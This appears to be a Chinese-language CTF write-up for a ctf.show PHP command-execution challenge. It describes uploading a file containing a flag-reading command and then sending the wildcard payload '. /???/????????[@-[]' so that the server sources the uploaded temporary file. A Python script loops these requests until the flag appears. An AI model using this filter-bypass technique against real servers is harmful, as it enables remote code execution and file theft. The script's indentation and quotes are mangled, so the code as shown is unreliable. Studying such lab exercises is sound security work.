这道题对比上一道没有回显,尝试重定向写文件结果访问失败。后来找到一个方法
先上传文件(内容:tac /var/www/html/flag.php)上传后会放在一个生成的临时文件中
然后再传参数. /???/????????[@-[],这个会随机对符合要求的文件进行source命令,当读到上传的文件时就会执行tac /var/www/html/flag.php输出flag。传参数可能要重复直到匹配到我们上传的文件,所以可以写一个脚本,这里在网上找了一个脚本来做:
import requests
import time
配置项(集中管理,方便修改),这里的url要改为http
TARGET_URL = “http://27f8f9b8-dc29-4db9-a38c-0c3f317a49b0.challenge.ctf.show/“
PAYLOAD_FILE_PATH = “payload.txt” # 内容为 tac /var/www/html/flag.php
CHECK_FLAG_STR = “CTF{“
RETRY_INTERVAL = 1 # 重试间隔(秒)
def get_flag():
"""循环发送请求,获取包含CTF{的flag"""
# 1. 初始化文件对象(使用with语句确保文件正确关闭)
try:
file = {"file": open(PAYLOAD_FILE_PATH, "r", encoding="utf-8")}
except FileNotFoundError:
print(f"错误:找不到文件 {PAYLOAD_FILE_PATH},请检查路径!")
return
except Exception as e:
print(f"打开文件失败:{e}")
return
# 2. 构造恶意代码参数(. /???/????????[@-[] 是Linux命令模糊匹配绕过)
data = {"code": ". /???/????????[@-[]"}
# 3. 循环发送请求获取flag
print(f"开始向 {TARGET_URL} 发送请求,等待获取flag...")
try:
while True:
# 发送POST请求(添加超时,避免卡死)
response = requests.post(
TARGET_URL,
files=file,
data=data,
timeout=10,
# 禁用重定向,避免意外跳转
allow_redirects=False
)
# 检查响应中是否包含flag
if CHECK_FLAG_STR in response.text:
# 提取完整flag(从CTF{开始到行尾)
flag_start = response.text.find(CHECK_FLAG_STR)
# 找到flag结束位置(通常是},增强鲁棒性)
flag_end = response.text.find("}", flag_start) + 1
if flag_end > flag_start:
flag = response.text[flag_start:flag_end]
else:
flag = response.text[flag_start:]
print(f"✅ 找到Flag:{flag}")
break
else:
print(f"⏳ 未找到flag,{RETRY_INTERVAL}秒后重试...")
time.sleep(RETRY_INTERVAL)
except requests.exceptions.RequestException as e:
print(f"请求失败:{e}")
finally:
# 确保文件关闭
file["file"].close()
if name == “main“:
get_flag()
运行脚本得到flag
